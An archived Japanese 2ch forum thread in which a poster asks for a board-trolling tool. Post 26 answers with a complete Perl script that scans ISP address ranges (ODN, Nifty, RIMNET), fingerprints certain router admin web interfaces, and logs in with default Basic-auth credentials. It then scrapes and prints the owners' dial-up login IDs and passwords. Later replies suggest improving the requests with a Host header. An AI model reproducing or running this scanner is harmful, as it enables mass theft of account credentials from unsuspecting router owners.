荒らしツール
■ このスレッドは過去ログ倉庫に格納されています
00011
NGNGデュークを越える荒らしツールを
作っていただけないでしょうか？
0002デフォルトの名無しさん
NGNG0003仕様書無しさん
NGNGでも時々プロセス爆弾になって設置サーバ落ちちゃうけどOK？
00041
NGNG00051
NGNG0006デフォルトの名無しさん
NGNG00071
NGNG00081
NGNG決して動物嫌い板でつかったりしませんので
00091
NGNGなんとかお願いできないでしょうか？
0010デフォルトの名無しさん
NGNGになったりするようなのなら、問題ないね。
0011デフォルトの名無しさん
NGNGまだこの位置じゃ教えられないよ
悪用しようとしてる奴が見てたらマジやばいからな
ある程度下がったところで
00121 ◆l2v9zhRY
NGNGトリップつけておきます
0013デフォルトの名無しさん
NGNG00141 ◆l2v9zhRY
NGNGまだわからないですか？
むかつく質問だったらスマソ
0015デフォルトの名無しさん
NGNG0016デフォルトの名無しさん
NGNG月一くらいでこういう糞スレが立つな。
0017デフォルトの名無しさん
NGNG0018さらしあげ
NGNG> 決して動物嫌い板でつかったりしませんので
ﾜﾗﾀ。使う気満々じゃん。
# ちなみにペット嫌い板は昨日厨房板に荒らされたとこだよ。
0019デフォルトの名無しさん
NGNG0020デフォルトの名無しさん
NGNGｵﾏｴﾓﾅｰ
0021デフォルトの名無しさん
NGNG0022デフォルトの名無しさん
NGNG0023デフォルトの名無しさん
NGNGｺﾞﾀｸﾊｲｲｶﾗ､ﾂｰﾙﾂｸﾚﾖ!
0024デフォルトの名無しさん
NGNGあれほど言ったのに (中略) 氏ねよですっ！
0026デフォルトの名無しさん
NGNG# ODN 61.123.128.0/19
# ODN 61.201.0.0/18
# Nifty 61.121.64.0/19
# Nifty 61.210.0.0/18
# RIMNET 202.247.144.0/21
if ($ARGV[0]=~/(\d+)\.(\d+)\.(\d+)\.(\d+)\/?(\d*)/) {
$ip[0]=$1;$ip[1]=$2;$ip[2]=$3;$ip[3]=$4;
$m=($5>=16)?$5:24;$c=2**(32-$m);
if ($m<24) {$ip[3]=0;$ip[2]=int($ip[2]*256/$c)*$c/256;}
elsif ($m>=24) {$ip[3]=int($ip[3]/$c)*$c;}
} else {print "example: hack.pl 61.210.6.0/24\n";exit;}
$|=1;$SIG{'ALRM'}='kill';
for ($i=1;$i<=$c;$i++){
$pid=fork;
if ($pid==0) {alarm 3;&ip;exit;}
push(@pida,$pid);
unless ($i%64) {
sleep 1;
if($#pida>=255){foreach $j (1..64) {waitpid(shift(@pida),1);}}}
$ip[3]++;
if ($ip[3]==256) {$ip[2]++;$ip[3]=0;}
}
waitpid(shift(@pida),1) while ($#pida >= 0);sleep 1;print STDERR "\n";
sub ip {$ipstr="$ip[0].$ip[1].$ip[2].$ip[3]";
$addr=pack('CCCC',$ip[0],$ip[1],$ip[2],$ip[3]);
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);
unless (connect(S,$that)) {
print STDERR "$ipstr...refused \r";return;}
$fh=select(S);$|=1;select($fh);
print S "GET / HTTP/1.0\r\n\r\n";
while (<S>) {
$server=$1 if (/^Server: ([^\r\n]*)/);
$au=$1 if (/^WWW-Authenticate: Basic realm="(\w*)"/);}
close(S);
unless (($server=~/^ALLIS\/FOS/ && $au eq 'user')
|| ($server=~/^Apache\/1\.1\.3$/ && $au eq 'Config')) {
print "$ipstr...failed1 ($server)\n";return;}
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);connect(S,$that)||return;
$fh=select(S);$|=1;select($fh);
&atur if ($server=~/^ALLIS\/FOS/);
&mega if ($server=~/^Apache\/1\.1\.3$/);
if ($suc==2) {print "$ipstr...ID: $id, Password: $pass ($server)\n";}
else {print "$ipstr...failed2 ($server)\n";}
}
sub atur {print S "GET /easy HTTP/1.0\r\nAuthorization: Basic Y29uZmlnOg==\r\n\r\n";
while (<S>) {
if (/NAME="PA_LOG"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="PA_PS"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub mega {print S "GET /cgi-bin/Basicset.cgi?basic_num=1&reloadmenu=1 HTTP/1.0\r\nAuthorization: Basic cm9vdDpyb290\r\n\r\n";
while (<S>) {
if (/NAME="send_id"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="send_passwd"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub kill {exit;}
0028デフォルトの名無しさん
NGNGとりあえずオライリーの表紙がフクロウのを読んどけ(ﾜﾗ
0029デフォルトの名無しさん
NGNGせっかく作ったのに何言ってやがる!!
もうくんな。
00301 ◆l2v9zhRY
NGNGホントにすいません！
00311 ◆l2v9zhRY
NGNGすいませんでした
そしてありがとうございました
0032デフォルトの名無しさん
NGNG0033デフォルトの名無しさん
NGNGそのペリカンの本によるとrobot.txtをシカトして
ロボットに情報を収集させられるみたいな事が書いてあったが
そういう悪質なロボットの侵入を阻止するにはどうすればいいの？
0034デフォルトの名無しさん
NGNG0035デフォルトの名無しさん
NGNG0036デフォルトの名無しさん
NGNGとりあえずインデントしてもソース汚すぎるので読む気が起きないのであれだが、イマドキはHostヘッダを付けといた方が確実だぞ。
0037デフォルトの名無しさん
NGNGHTTP/1.0ならHostいらない。
0038デフォルトの名無しさん
NGNGじゃないと誤爆する場合アリですよ。
0039デフォルトの名無しさん
NGNG失礼しました。
確実に逝くならHTTP/1.1にのっとったリクエストを吐くようにすべきカナ？
…って、何でこんなｸｿｽﾚでﾏﾀｰﾘしなきゃならないんだYO! ヽ(`Д´)ﾉ ﾌﾟｿﾌﾟｿ
■ このスレッドは過去ログ倉庫に格納されています